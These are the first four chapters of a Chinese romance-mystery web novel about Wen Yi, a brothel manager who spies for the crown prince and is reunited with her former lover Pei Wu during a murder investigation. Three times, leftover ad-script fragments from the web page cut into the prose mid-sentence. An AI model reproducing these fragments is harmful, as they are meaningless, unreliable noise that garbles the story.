《白月光前任他黑化了》 1. 一桩命案 丽华玉袖抛,娇眼媚波流。 琉璃灯盏沁出混杂的光,酒宴里舞袖搅杂,得空气愈发浑浊。醉红楼二楼雅间里,白日里仪表堂堂的朝堂官员们此时换下官袍,醉态横出。 有的甚至衣衫半开,已然拉过一边倒酒的女子坐到怀中,还自诩风流地吟着些叫人听了就脸红心跳的淫词艳曲。 他们此时坐在这儿,正是因为花魁牡丹今夜的归宿还未定下。 台上人转袖流风,舞腰回雪,娇娥媚态天成,即便已经不是第一次接客,台下人却还是热情依旧。 眨眼间已经叫到百两价格。 在暗处打着帘子瞧的温以见时机已到,从偏台处转出来。 她一身青绿色褙子,衬得年轻娇嫩的面庞老态了几分,高高梳起的发髻露出了右边额角一道半指宽的可怖疤痕,十分的颜色生生大打了折扣。 “王大人还是您心疼咱们牡丹。” “也不愧她日日念叨着王大人诗词当世绝尘,前些日子还躲在屋子里偷偷瞧呢。” 温以摆开笑脸招呼。 面前人虽不像某些常客满脸横肉,膀大腰圆,却足足已是可做牡丹祖父的年纪了。 可她还是卖着笑脸吹捧着:“瞧那小妮子那模样,爷您今日要是不来疼她,怕是少不得要关了自己在屋子里哭上两日的。” 王大人听得这样的舒服话,被温以引着往楼上去,不由得抚上唇下手掌长度的白须,露出一个淫邪的笑来。 他细小的眼睛眯了眯,精光一闪,伸手去抚温以如葱的十指。 “楼里的小娘这般可人疼,可见还是温妈妈教导得好啊。” 王大人语罢似是满足似是回味的叹息一声,手上不安分的揉捏温以的指腹。 “您哪里的话,那都是娘子们自己招人疼!” 温以借着话头,不动声色的避开王大人不安分的手。眼见快到了,脸上继续不动声色地谄笑着招呼。 “这走两步就是牡丹房里了,您这就过去吧,别叫牡丹等急了。” 手上落了空,王大人有些遗憾的咂咂嘴,但也没说什么,转头往前去了。 温以转身就落了笑,脸上也没有其他表情,只是加快了离开的脚步。 做的就是这皮肉生意,即便是老鸨,能不卖身已经算好处境了,只是这样的揩油,根本算不得什么。 如果可以,她也不愿继续呆在这里,更不愿楼里鲜活的姑娘们,一批换了一批的,一生囚禁在方寸宅院,以色侍人。 穿过醉红楼的后院,借着夜色,温以摘了鲜艳的环钗绢花。四下查探一番,悄悄掀起帘子进了隔壁茶铺的后院。 几乎是刚到茶馆的院中,温以就长长地舒了一口气。 并不是第一次见这样淫靡混乱的场子,可这次她却觉得空气里浑浊得几乎快要让她呼吸不了。 只可惜她根本没这个资格恶心。 进茶铺后院没几步,搭眼就看见屋子里烛火映出一个男人的剪影。 “主子,属下来迟了。” 温以轻轻敲了敲木门,门缝大得透出一片光,她却神色恭敬,一眼也没有抬头向里望。 “安娘,怎么才两月不见,又和叔父生分了?” 门里头是个中年男人的声音,沉稳威严中还似乎透着两份亲近。 “主子,礼不可废。” 温以乳名安娘,知道的人并不多。娘亲走后这许多年,这么喊她的也只剩下眼前这位叔父般的长辈了。 她虽然口中不说,却是真心效忠他。 此刻推门进来听过他这番似打趣似怨怼的话,有些为难地回答着,心中却其实很欢喜,忍不住小声补充。 “只是安娘心里一直是把您当成亲叔父的。” 温以这么说,男子也就不再坚持,两人很快说起了正事。 “今日来的,可派人仔仔细细盯着了?” 男子端坐在床榻边,玄色袍衫只是寻常富贵人家所用的布料,袖边的金纹却添了两份矜贵。 虽是不惑之年,他容貌气质却儒雅依旧,浓眉不怒自威,眼神亲和,却还是透着上位者无声的威压,此时却难得的问了句听来有些多余的话。 此人正是当今太子殿下。 “主子放心,都安排妥当了。” 温以虽然奇怪他有些多余的问话,联系他近来和自己越来越多的亲自见面,只觉得是自己差事办得好,越发得他重视,抑或是近来消息实在重要。 可不论哪一样,都让她心喜万分。 温以经营这醉红楼,自然不仅仅是做皮肉生意,更重要的是为太子殿下探听京中消息。 楼中暗有玄机,娘子们每间屋子都连着另一间暗室,有专人负责探听记录。 一番交代近来的消息后,太子沉吟片刻,有两份感慨地叹道: “就知安娘办事一向沉稳,事情交给你,叔父是放心的。” 到底温以只不过还是个双十年华的小娘子,太子在自己面前又一向不以“孤”自称,就像个寻常长辈。 听到长辈的夸奖,她脸上不由露出两份得意,像是得了父母夸奖的孩童,那张私下难得见笑的娇颜也少见得露出了两份少女娇憨。 油灯昏暗,她的笑魇天真娇憨,叫太子出奇地恍了神,忽地想起了记忆中久远得有些模糊的那张与她十分相似的脸庞。 心中有所想,他也无意识地喃喃。 “今日看,已然比你母亲还要妥帖了。” 话一出,才惊觉似是说错了。 转头看向立在一边的少女,她脸上原本鲜活的笑显然凝固住了,这笑碎裂成思念和仇恨混杂的情绪,从她脸上剥落下来。 转瞬间,温以已经恢复那张波澜不惊的脸。 太子心中一叹,又想起她刚刚上京时那鲜活坚强的神色,心中虽有触动,却不能动摇计划好的半分。 “你娘的事,今日已有了些眉目,孤计划好了,三月后,定然给你和你娘一个交代。” “多谢主子!” “主子的恩情,属下定当铭记。” 温以脸上浮起点点欢喜,闻言更加真心地道谢。 心中只决定此番回去要更加紧紧盯住楼里的消息,给太子殿下多添些有用的筹码。 太子不宜多留,一炷香的功夫,就趁着月光从偏门上了马车。 月上树梢,沿着半开的窗棂,冷冷地落在温以的床边。 她躺在床榻上,脑中 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 却回响着太子的话—— 还要三月。 三月后,母仇得报,也许自己可以求了恩典回江南去。 太子殿下在银钱上并不曾委屈过她们这些底下人,加上娘亲一辈子攒下的家财,她或许可以回江南去,买一座宅院,将张伯接来,平淡地度过余生。 脑中不可抑制地出现一个年轻男子白衣执伞的身影,朦朦胧胧地就像江南散不去的烟雨。 三年了,思念一旦决堤,就像不知疲倦的海浪,一波一波地冲刷回忆。 他是否已经成婚?有没有可爱的孩童? 会不会已经升迁离开了? 如若都没有,她还有没有机会向他解释,得他原谅? 温以闭眼不让自己去想,本以为今夜心绪复杂,恐怕一时难以入眠,但却意外的睡得安稳香甜,恍惚间,温以立在桥畔,耳边是集市热闹的叫卖声。 暮鼓钟声飘散在柳枝间,水面波光粼粼中倒映处一个少年的身影。 她心中一动,追上了桥去,少年白衣襕衫翻动,背对自己,脚步却越走越快。 她几乎是倾倒着身子去追,拨开桥上人群,眼中紧紧盯着视线中的身影,却被湖面波光映出的昏黄光芒晃了眼。 她恼恨地跺脚,却再也找不见少年的身影。 不知为何,她心中有个声音叫嚣着一定要去追。眼见人影消失,眼中已急得落下泪来。 站在人来人往的桥中央,她只觉得一股透骨的寒凉从脚尖侵入,此间热闹如斯,却又如此寒冷。 “这是谁家的傻囡囡呀?” “莫不是忘了回家的路,竟也值当哭的如此伤心?” 视线中闯入一片雪白的袍脚,头顶传来一声温柔含笑的声音。 她猛地抬头,却看不起少年的脸,下意识地踮脚,伸手环住少年的脖子,只觉得这样,他就再也跑不了了。 少年被她柔软的双臂环住,身子僵硬了片刻,也伸手扶住她的腰,嘴上还是不露怯地笑话她。 “怎么这样娇气,还要人抱在怀里细细哄着才肯不掉金豆豆吗?” 少年人的怀抱虽还不宽广厚实,却安全感十足,她慌忙用衣襟蹭掉眼泪,想要摆脱模糊的视线,看清楚他的脸,却听到耳畔一声尖利的大喊。 凄厉的声音像一把利刃,眼前的少年渐渐模糊,最后变作山水画般模样,被这把利刃生生划破撕裂,惊得她猛然坐起身来。 “姜妈妈,大事不好了,牡丹她……”悲凄的声音又添上了两分哽咽,“牡丹她死了。” 温以瞬间如同被三月里的井水泼了一身,无比的清醒。 她看清推开她房门说话的是楼里一向和牡丹要好的龟公,边披外衫,边冷脸问。 “说清楚了,谁死了,怎么死的。” “牡丹,是牡丹!她和王大人都死了,一道死在她房里。” 那龟公见她神色,也冷静了些,低着头语气急促地说着详细情况。 “王大人死在床榻上,胸口插着一把宝石匕首,血流了大半个床榻。牡丹…牡丹悬了梁,死的不太好看。” “更要紧的是,新上任的锦衣卫指挥使大人已经亲自带人围了咱们楼,正要带人闯进来呢!” 2. 一件兽毛披风 天色仍昏暗,街上静悄悄地,连卖朝食的摊子都还未升起炊烟。 温以裹着月白色的外袍,里头只着寝衣,匆匆下了楼。 外衫颜色清淡,寝衣又轻薄,她桃红色的小衣隐隐露出,勾勒着年轻女子姣好柔软的身段。 有好事的客人听见动静出来查看,一双眼珠子简直黏在了她身上。可她却没工夫计较这么多了。 “温妈妈,你瞧这外面催了半天了。” “……” “那些大人们只说再不开门配合探查,就要闯进来了。” 见温以对自己的话没反应,刚刚报信那龟公焦急万分。 那帮锦衣卫哪里是官,简直是土匪,要是一时没顺了他们的意,让他们闯进来,到那时这楼里会被糟蹋成什么样子就不好说了。 龟公情急之下正要去拉温以的袖角,却被温以轻轻避开。 她施施然走到大堂的戏台子边坐下,神色闲适得好像是在房中品茶。 这种时候,她作为楼里的主心骨,更不能乱了心神。眼下最重要的是尽量减少影响,早日让楼里恢复经营。 她偏头看向外窗。 这一来一回离自己起身时间已经不短了,天光微亮,外面官差的叫嚷声却愈发小了。虽还没有和这位新上任的锦衣卫大人打过交道,却不难窥见他是个治下有方的。 左右案子和她,和楼里无关,清者自清。 只是一旦卷上命案,生意却很难做下去了,来青楼消遣的人是寻乐子,并不是来送命的,那些个嫖客,比谁都惜命。 她办事不利,不知会否影响太子殿下大计,也不知是否会影响报仇的计划。 心下烦躁,温以却不得不开口。 “招呼官爷们进来吧,好好招待,酒肉放开招呼。” 温以捧脸看向大门,对伙计们吩咐,心中悲凉地自嘲起来。 这位指挥使大人要是能用美色摆平,对她来说倒是此时最大的幸事了。 片刻,门闸被取下来,大门两开。 天光微曦,为首一人身姿清俊,一身绯红飞鱼服,从天光尽头处走来。 温以本来摆出的媚态的笑,却在看清来人的脸时僵硬了几分。 “大人,这就是我们温妈妈。咱们都是老实人,万万不敢做些害命的勾当啊。” 龟公陪着笑引见,只盼这位大人不要一竿子打死了一楼子的人,叫自己丢了差事还下了大狱。 温以暗自嗤笑,皮肉生意里头,哪个当得一句老实人? 裴误从踏进楼里起,他难掩嫌恶的目光就扫视着每一寸地盘。陡然听了龟公的话,也没有掩饰,不甚在意地将目光转过去。 温以坐在戏台边,看他的手下鱼贯而入,将每个房间里的人带出来;看着楼里的小娘们哭天喊地的乱嚎;看客人们有些衣衫不整仍抢了女子帕子蒙住脸来。 看他那双黑色官靴一步一步到了自己身边。 他的脸和方才梦境中温柔的少年渐渐重合,却比从前多了几分冷厉。 江南不是连风都那样温柔吗,怎么他的脸却似乎粗糙了几分? 她不合时宜地想,却不妨看见他眼中未来的及收起的嫌恶。 那种目光仿佛玄铁铸成的尖刀,深深刺伤了她,将她钉在了幽冷的百尺深潭中。 乍见他那种隐秘的心欢,一下子便被打入地狱,她收起了媚笑,仍由外袍松散了两份。 明明他站在风口处挡住了灌进来的寒风,她却忽然觉得比此前要更冷。 他们之间从她离开江南的那一刻起,早就无所谓可求了。 他这是瞧不起青楼女子吗?她就给他好好看看,什么叫勾栏做派。 裴误在两步外接过了随从手中的兽毛披风,又慢慢走到温以身边站定,却不俯身,任由她仰着头看他。 “许久未见,温姑娘在京城似乎颇有资产?” 他喊的是初见她时的称呼,她眸色闪了闪,朝他眸中看去,说不清是不是还想从那双冰冷幽深的眼睛中找出丝丝隐晦的情意。 半晌,终是没有作声。 可裴误似乎还想再叙叙旧,他那双晦暗不明的眼睛骤然靠近,带起一阵风,吹得她身子一颤。 对这个视角自己所泄露的春光,温以一无所知。她只看到他的眼中多了两份危险的意味。 他温热的呼吸打在自己耳畔,温以只好收起胡乱的思绪,努力稳住绵软的身子。 她听见他低沉的声音厮磨在耳畔。 “原来以以志不在我,是因志在众人?” “……” 肩上落下一片温热的触感,温以低头看见他动作温柔地将兽毛披风披在她肩头,有片刻恍惚。 下意识地抓紧了脸颊边的披风,兽毛衬得她的红唇多了两份妖冶的美。 裴误心里突生一股想将她这只小兽囚起来的冲动,却很快移开目光。不待她反应,先一步直起身子道。 “好了,公务要紧。” “温妈妈还是快些带本官去案发现场查看吧。” 倒不知什么时候起,京城的命案归了锦衣卫管了。 她忍不住偷偷用余光瞧他。 温以不敢想他今日这么一出,在场众人日后回如何议论他们的关系。更想不出他一个小小县令,仅仅三年时间,如何一跃成为京中炙手可热的新贵。 她想不出,只能裹紧了身上衣衫,站起身来快步跟上了裴误,为他引路前去牡丹的房间。 他们一前一后,脚步却出奇的同步,和三年前初见时一别无二。 仿佛这些年来,从未分开过。 —— 扬州。 年节将近,街市上好不热闹,满街的吃食玩意简直要看迷了温以的眼睛。 自从上次偷跑出去翻墙回来时摔了腿,连着养伤,张伯经三个月没允许她出门了。 眼下借着帮忙置办年货的由头终于能出门了,还赶上年关,满街的新奇物件简直叫她走不动道。 抬头瞧了一眼已经西斜的太阳,温以撇撇嘴,还是认命地去街口的铺子里拿了张伯一早定做的布料,打算回家去。 这回要是又晚回了,下次再想出来可就难了。 可是街上的人却明显不是这么想的。 温以抱着布料,朝着人流相反的方向走得艰难走着。 好容易走出拥挤的人潮,她放下衣料,仔细整理了身上鹅黄色的新褙子,末了,又小心翼翼地整了整藏在腰间的匕首。 她虽然说是有个女侠梦,却到底是个小女娘,哪有不爱惜新衣裳的道理。 抱起几匹布料,心中一边抱怨张伯让自己来取这么重的衣料,一边猜测着那一匹是要给她做新衣的料子。 听说娘亲年后要来看自己,温以正美滋滋地盘算着要穿哪一身给娘亲看,却突然感觉自己脚步有些重。 方才再集市中人多且混杂,她没注意这么多,此时转进了巷子,周遭静了下来,马上就察觉到了不对劲。 有人正跟着自己。 这念头一出,倒是让温以额上隐隐出汗。半是紧张半是兴奋。 温以和别的小女娘不一样,她从小除了跟着京城来的女夫子学些琴棋书画,还跟着张伯学些拳脚功夫。只可惜张伯等闲不许她出门,也没有实战的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 机会。 这会儿乍遇上个歹徒,温以有些害怕自己打不过他,却又有些摩拳擦掌跃跃欲试。 就算正面遇上打不过,小施计谋,应该也行得通吧? 温以一面竖起耳朵仔细留意那和自己几乎完全重合的脚步声,一面转入了一条九曲十八弯的巷子里。 哼。 要在她的地盘上心怀不轨,还是先掂量掂量自己吧。 温以侯在一处转角,暗自勾了嘴角,眼神中透着狡黠,巴掌大的小脸上兴奋得红扑扑的。 一步…两步…三步…… 她估摸着时机,拿出腰间的匕首,翻身握住身后人的手腕折在他身后,就借着劲儿把他往墙上抵。 终归还是未见过江湖险恶的小姑娘,温以用来抵住来人的匕首并未出鞘,只是想要教训教训他,并无伤人的意思。 待真的将人抵在墙上时,才奇怪这人怎么也没反抗过。 莫不是算准了自己打不过她? 温以见被自己抵在墙上的不过是个白面书生,正一副痛楚不已的样子,一时间又有些心虚。 该不会…是搞错了吧? 温以抵着少年,虽是制服了他,却几乎要贴到他怀中了。 从小到大温以都很少接触男子,更何况与一个外男贴的如此近,她自诩江湖儿女不拘小节,却还是有些不自在的红了耳根。 她强撑着在脸上摆出一副凶狠的样子,逼问道: “我问你,你是不是偷偷跟着我?” “你有什么图谋?” 二人实在离的太近,她问话时,她衣上熏香玉兰味的气息一阵一阵的包围了少年,他脸上浮起潮红,咳嗽一声,急忙开口。 “姑娘这是误会了,在下只是对张员外仰慕已久,想要前去拜访。” “姑娘,你看,是否能先放开在下?” 温以虽然对他的话将信将疑,但看他身板瘦弱,此时确实一副手腕疼到不行的样子,也就松开了他,眼神戒备地盯着他,问道: “你拜访张员外,跟着我做什么?” 那少年见怀中少女推开,在身后偷偷甩了甩酸痛的手腕,面上温润地拱手解释道。 “在下裴误。” “跟着姑娘实非君子之举,只不过前次拜访张员外闭门不见,小生知道姑娘是张员外掌上明珠,只好出此下策。” “还望姑娘不计前嫌,帮帮在下。” 裴误当然不可能打不过温以,只不过他确实没想到这姑娘不仅有两下功夫,胆子还出奇的大。 此时事已至此,只好改换策略,若她真同意带自己入府,也算曲线救国了。 “你也知道这非君子之举?那你还干?” 温以揶揄道。见裴误似乎是因为羞愧,脸上刚刚消下的绯红又爬了上来,心中却从一点也不信转为信了三分。 她又不是那等好骗的闺阁千金,张伯一没权,二没诗文才华,他们家只有钱,这年轻人冲什么来的一目了然。 只不过她怕裴误还有同伙,不如假装信了他,先带他回府。 左右在府里头,她就什么也不怕。 想到这里,她转头就朝回府的方向走去。半晌,见后头没人,又转头没好气的招呼裴误。 “还不快点跟上!” 裴误被她这跳脱的思维绕的呆了半天,见她神色似不耐烦,忙要抬步跟上。 “快点!还有你身后转角的布匹,别忘了抱上。” 见裴误木讷的表情,温以莫名的心情好了几分。脚下步子不停地往回家的方向去。 想要诓本小姐,不出点力气怎么好意思呢? 3. 一封威胁信 裴误被她忽然的吩咐弄得有些回不过神来,不过还是乖乖照做。 只要能进了张员外府里就好。 想到如今为了五千两银子如此折腾,裴误心中苦笑。 他现在这副样子只怕是京里来人见了也认不出来。 当日皇上钦点的状元郎,成国公府矜贵的世子爷,一入官场便依着他的心意入了大理寺。正六品的司直,给了他一个刚刚结束科举的毛头小子。 现在想起来,那约莫是他年少最春风得意马蹄疾的日子了。 成国公府不说富可敌国,可他从小到大虽并不受宠,却从没有为银钱发过愁。今日赈灾的区区五千两银子,放到从前也不过是他在官衙一旬打点上下的流水罢了。 左腹的隐隐作痛,他低头见自己白色的衣衫见隐隐透出红色。想是伤口又裂开了。 幸好划伤得不算太深。 他不动声色地将腰间折扇往左侧移了移,忍痛挡住那抹红。 “小人。” 裴误忍不住小声暗骂。 自己都被贬官成一个小小的县令了,竟还在自己赴任途中下此狠手。 若不是看在成国公府的面子上,以他违抗圣旨之罪,陛下根本不可能将他贬来这富庶的江南。 只是这明河县外强中干,却是这一州府里最囊中羞涩的县了。 也不知道是不是自己将陛下得罪的狠了,陛下有意为之。 虽和家族早已撕破脸皮,可京城早晚要回,眼下重要的是蛰伏此地,做出点成绩来,让陛下重新注意到自己。 想到此,裴误越发觉得这张员外府他是非去不可了。至于这五千两银子,不论是强抢还是威胁,一定要解决了去。 不过分神片刻,温以的身影已经消失在巷口。 裴误回过神来,一把抱起地上散落的布料,迈步追了上去。 ———— 张府门口。 “你怎么这么慢啊。” 温以在府门口等了半炷香的时间,才看到裴误悠哉地抱着布匹到眼前。 在家门口她似乎底气更足,摆出一副不耐烦的样子抱怨。 到底是谁求谁帮忙啊!好不容易溜出来半日… 温以心中腹诽,颇有些不畅快。跟门口的小厮交代两句,就自顾自进了府里。 进了张员外的院子,院里却不像往常一样热闹,静得她发慌。 “老张!老张?” 温以对张伯一项没大没小的,此时见府中异常安静,却有些担心他是不是出了事。 她见果然没人应答,顾不上身后的裴误,加快了脚步,心里有些无端的发慌。 可本该有丫鬟打扫的书房前此刻却空无一人。 她急忙三两步上前去开书房的门,却被一只大手拦腰抱开。一支利箭堪堪贴着她的发丝擦过,她惊得呼吸一滞。 眼睁睁看着利箭从脸颊边擦过,带着箭尾的一张信笺,插进几步开外的花坛中。 她慢半拍地伸手覆上自己的脸,感受着完好的肌肤,惊讶地喃喃: “原来话本子里的老套剧情竟是真的存在。” 见她已经站稳,裴误不动声色的松开揽着她腰的手。 掌心还有她腰上的温度,耳边都是她小声念念叨叨的声音。 听清后不由得失笑。 裴误疑心是京城的人不死心,要断了自己的后路所为,却又奇怪他们怎至于查探到张员外这里。 他皱着眉头上前查看信笺上的字迹。 “想要张员外活命,明日……雾岭山上带上万两白银。” 看着纸上狗啃一般的字迹,裴误嘴角忍不住微微抽搐。 张员外虽然有钱,却不可能有多少可调动的现银,一万两一交出,即便他再怎么威逼利诱,对于县里赈灾的银两,也是心有余而力不足了。 乍一看,确实很像京城那些人的手笔,只除了这他再熟悉不过的字…… 这个蠢货,都嘱咐过不要轻举妄动了,还搞这一出。 看着信笺上甚至写错了的“雾”字,裴误乐观的想: 至少这种程度的字,都不用费心掩盖笔记了,旁人也怎么都不会想到自己头上。 转头看温以一双手紧紧地握着腰间的匕首。她看罢信笺上的字,像是才想起他般,有些防备地退后半步。 他想要安慰安慰小姑娘的手伸出一半,又生生转了道,背到了身后。 “你放心,此事我既然知道了,便不会坐视不理。三日后你晚半个时辰再上山,我保证将张员外完完整整的交到你手中。” 裴误眼神真诚,此时是真心地向她承诺的。 毕竟害她白受惊一场,都是自己那边的蠢货惹出的事宜。 可温以显然还是不能信任他。一双水灵灵的杏眸中写满了质疑。 “你一介书生,连我都打不过,事关老张生死,我凭什么信你?” 这话一点都不客气,裴误听后,倒是有点后悔方才装作不会武功的样子任她摆布。 “姑娘没听过智取?况且裴某虽武艺不精,却还是会个一招半式的,对付土匪不在话下。” 见她还是犹豫,裴误有些不耐,只好睁着眼睛说瞎话,道: “方才一是在下毫无防备,二是姑娘武艺确实高明。” 漂亮话谁不爱听,温以虽然听得有些飘飘然,理智却还是告诉她,不可以全信,于是她妥协着开口。 “那我们一同前去。” 裴误见她眼神坚定,心知这是她的底线,也没有再多说,只应了下来。 不过是多演一场戏的事情,这也是那小子自作主张应得的。 见她虽然强撑着,却实在是逛了一天,又这般惊吓折腾一番,早已经累得不行,怕她只是不好意思,裴误自认善解人意地建议: “姑娘想是累了,不如今日好好休息,明日也好救回令尊。” 温以本来神经一紧一松,早就累的上下眼皮子打架了。 可她心里但心着张伯的安危,并不敢完全信任裴误,了。现下听他提议自己先去休息,又有些警觉他不会是想卷些东西跑路吧? 看出来温以万般的不信任,裴误只好无奈地承诺。 “在下今夜只好叨扰姑娘了,还要拜托在府上给裴某安排一个住处。” “那你今夜就住我隔壁。” 裴误有些诧异的望过去。 温以有些不自在地转过头不看他,似是告诫他,又似向自己解释般咬着唇道: “江湖儿女不拘小节,我警告你最好老实点,别懂什么歪心思,等救出……救出我父亲,张府自有重谢。” 只是一瞬间惊讶罢了,裴误懂她这种乍经变故像是抓住救命稻草似的举动。怕她恼羞成怒,也没有多言,闻言只是点点头。 温以纠结了一番还是决定不要节外生枝。 差人去给回老家探亲的女夫子带信,就说是年节将至,老爷让夫子和家人多团聚一会儿,小姐这边他另有安排。 知道事情的轻重缓急,张员外的贴身小厮没有犹豫,只是犹疑着看了裴误两眼,还是依言去送口信了。 夜里温以翻来覆去,却还是睡不着。 傍晚时候回了房,便沉沉睡去,此时醒来记忆里那些鲜血淋漓的回忆却纠缠不清,扰得她无法入眠。 在六岁之前,她并不生活在这座镇子上。 六岁前的记忆,她跟随娘亲生活在一个漂亮精致的大房子里。 娘亲总是温柔地唱些歌谣哄她睡觉,却从来不允许她出房门半步,不论是白天还是晚上。 只有娘亲得了空,她们母女两个才能乔装打扮,做贼似的偷偷去逛一逛集市。 那时候娘亲说,不能出去是因为外面有些坏人嫉妒囡囡长得可爱,要是看到了,一定抢了你去,拐到个没人知晓的地方去,一辈子也见不到娘亲了。 后来她才在门缝外的笙歌艳舞中明白了。 她生活在的华丽大房子,其 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 实只是一个囚禁着无数可怜女子一生的笼子。 而她不能出门的原因,除了娘亲说的那一种,更重要的是,外头的人,女人们厌恶娘亲,男人们轻贱娘亲。 京城除了醉红楼这座华丽的笼子,再没有地方可以让她们母女俩好好地生活了。 温以打开窗子,靠在窗上,望向天空。想起小小的自己曾经不止一次地望着这样的夜空问娘亲: “娘亲,他们说这座楼都是你的。” “娘亲,安娘真的想要和娘亲随意出门…娘亲可不可以关了这楼,和安娘去别的地方生活?” 年幼的温以歪着头,却看不懂娘亲美丽精致的面庞上的情绪。 那是她当时没办法理解的苦涩。 “囡囡,这楼不是娘亲的,是一个对娘亲而言很重要的人的。” “娘亲不能走,娘亲要替他好好守着这座楼。” 泪水不知道什么时候从眼眶中逃出来,打在窗棂上。 娘亲没有答应温以离开京城的请求,却意识到不能将她关在房里一辈子,于是开始计划着将她送走。 后来她曾经不止一次的回想,如果当时不那么问,是不是就不用和张伯离开,过上这种自由安稳却一两年才能见上娘亲一面的日子。 视线中突然出现一个陈旧的酒袋。 温以顺着酒带抬眼,听见裴误问她: “姑娘喝不喝酒?” 她也没有被他看见哭了的尴尬,她本就是小女娘,又有什么哭不得的。抹了抹泪水,嫌弃地推开他的酒袋,拒绝道: “不要。谁要和你用一个酒袋子。” “我自己有。” 她挂着泪痕的脸孩子气地绽出一个明媚的笑容,转身到妆台边的柜子里摸出一个精致的酒瓶子,炫耀似地朝裴误摇了摇瓶子,神色几分得意。 “品相肯定比你好。” 裴误朝她挑了挑眉毛,面上可惜地叹:“可惜我不喝酒,不然今夜咱们不醉不归。” “你不喝酒?”温以真的意外了。 “你不喝酒你带酒干什么?” “喝酒误事。”裴误将酒袋子系回腰间,“但必要时却可以处理伤口,作用多着呢。” 见她落泪,他难得的有两份愧疚。说到底这些对她来说都是无妄之灾,都是因为自己。便忍不住过来宽慰两句。 温以不屑地撇嘴,“真没用。” 也许是今夜的安慰起了作用,她私心里总觉的或许真的可以信任他,可以朝他发些小女娘脾气。 他闻言没说什么,好脾气地笑了笑,状似无意地问: “你刚才…是想你爹了吗?” 也许是酒精麻痹了敏感度,温以反应了片刻,才反应过来他指的是张伯。 她摇了摇头,今夜自己确实很担心张伯,刚刚却并不是在想他。 “我在想我娘亲。” 娘亲?乍听到这个名词,裴误心中顿了顿。 高门大户中,从来没有这个称呼。何况他娘并不在意他,从小到大,他都是喊的母亲。 亲近又疏离。 “你呢?” 温以伸出手指戳了戳他的袖口。 “你家不在这儿吧?你想你娘亲吗?” 想到他离家时母亲房中那扇紧闭的门,想起最后一次见时母亲那失望又厌弃的眼神。 那是一种宛若看一只毫无斗志的丧家之犬的的眼神。 他顿时没了聊下去的兴致。没回答她的问题,沉着脸色要离开。 刚走出两步,却听见她怨怪的声音。 “你这人怎么这么不讲理啊!” “算了,走吧。” “以后喊温以!” 裴误隐约听见了一个小女娘的名字,回头疑惑地望着她。 温以没计较他转身就走的事了,礼尚往来,自己也打算告诉他自己的名字。 “我说,你以后别唉唉唉的喊。” “我叫温以。” 4. 一个奇怪的时尚单品 天光将亮未亮,几人就收拾停当打算出门了。 裴误还是昨日那一身白衫,衣裳却皱皱巴巴的,他胸前还系着包裹,颇有些不伦不类的样子。配上他那一脸的君子端方,莫名的搞笑。 温以看了一眼,忍不住偷偷弯了嘴角。 裴误头也没回,就知道这姑娘肯定在偷偷笑他。 昨天回房后他就发现伤口渗出的血沾到了外衫上。可人生地不熟,只能一个人用屋里茶水偷偷搓洗衣上血迹,谁知道血迹却越搓晕染得越大。 为了掩饰血迹,这才就地取材弄了个包袱遮挡一二。 察觉到她在偷笑,裴误轻飘飘道: “在下这身确实有违君子礼仪,但裴某脸皮薄,姑娘再笑就一个人去雾岭山好了。” 话一出口,连他自己都愣怔了片刻。 自己何时跟个小姑娘也如此计较了? 归根到底,要不是周肆那小子自作聪明,他又哪里需要这么狼狈。 在心中又暗暗记了他一笔,这才将胸口的包袱往腰腹那朵“血花”处又挪了两分。 “小气。” 温以小声嗤他,自觉大人有大量地没跟他计较,却憋着笑瞟了他一眼又一眼。 裴误看她憋着笑偷看的样子,实在是脸皮有点挂不住,迈开步子走在了前头。 他决定,周肆的好日子今日就到头了。 心里不爽快,裴误越走越快。温以看他就快走出半条街去了,也顾不得笑,急急喊他: “你去哪啊?咱们马车就在这儿呢!” 雾岭山离张员外府并不远,却还是需要乘马车的,单单走路,任凭裴误走多快,天黑之前都到不了。 裴误听到她说马车,脚步一滞。声音不自然地摆摆手。 “山人自有妙计。你不用管我。” 若是能借此分开,给他留出时间先去收拾一番周肆那小子,倒也不失为一种办法。 温以看他顿住的背影,以为他是拉不下面子回来,忍不住在心中偷笑,即将面对土匪的紧张消解了不少。 毕竟还要靠他救回张伯,也不好让他真的恼了。 “别别别,山人的妙计还是留着对付土匪用吧。” 她见裴误不动作,小跑几步拉住裴误的手臂就把他往回拖。 裴误不防被她拉得一列且,半推半就地上了马车,心里却嘲讽地想: 对付周肆可不需要什么妙计。 …… 马车赶了一个时辰不到,就已经隐隐可见雾岭山的轮廓了。 裴误一路上都小心地护着怀中的包袱,惹得温以忍不住偷偷猜测这里头到底装了什么。 看上去倒像是质地柔软之物。 可他昨日明明身无长物进的府里,哪来的包袱?况且这包袱花色,怎么越看越眼熟…… 温以是个直性子,又自诩江湖儿女快言快语,憋不住向他打听: “你这里面,装了什么宝贝啊?” 顺着她的手看过去,裴误的目光停在自己怀里的包袱上,良久沉默。 “没什么。” 他怎么可能告诉她,里头是他从床前拆下来的床帐,连这个包袱本身,都是她家的床巾。 这听起来实在非心智正常之人做得出的。 “救人的法宝罢了,裴某劝姑娘你还是不要什么都好奇才好。” 没有问到想知道的,温以轻哼一声,掀着帘子看风景掩饰尴尬,没再追问。 每个人都有自己的秘密,她虽然好奇,却也不会逼他非说不可。 谈话间,二人已经到了山脚,裴误借机转移话题: “前头就到了。” 二人下马车后走了不久,就见远处几个黑衣蒙面的男子站在一块空地间。 张员外歪倒在中间那人脚边,看起来正昏睡着。 温以怕激怒了匪徒,不敢多说什么,只是一边拉着裴误的衣角,一边仔细打量张员外。 确定张员外没什么明显的伤痕,她悬着的心才总算是松了一半。 旁人不知,她却清楚张员外武功极高,心中对着人数虽不多的黑衣人多了几分警惕。 周肆带着身边的四个小厮黑衣蒙面,自觉为裴兄解决了一个大麻烦。 瞬间,他的眼前甚至都浮现了裴兄满眼赞赏地拍自己的肩膀的画面,一时更像打了鸡血一样,一见到人影就开始大喊。 “钱备好了吗?别想耍花招!手里空空的,你爷爷……” 一男一女两个人影渐近,他却瞪大了眼睛。 怎么那个男子,看起来这么像他家裴兄。 “爷爷爷我可没那么多耐性。” “……” 一时间气势削减了大半,人也像结巴了一样,一个爷字说了五六遍才勉强将话说完。 裴误远远地就认出周肆,被他大白天穿夜行衣的行为噎得一阵无语。 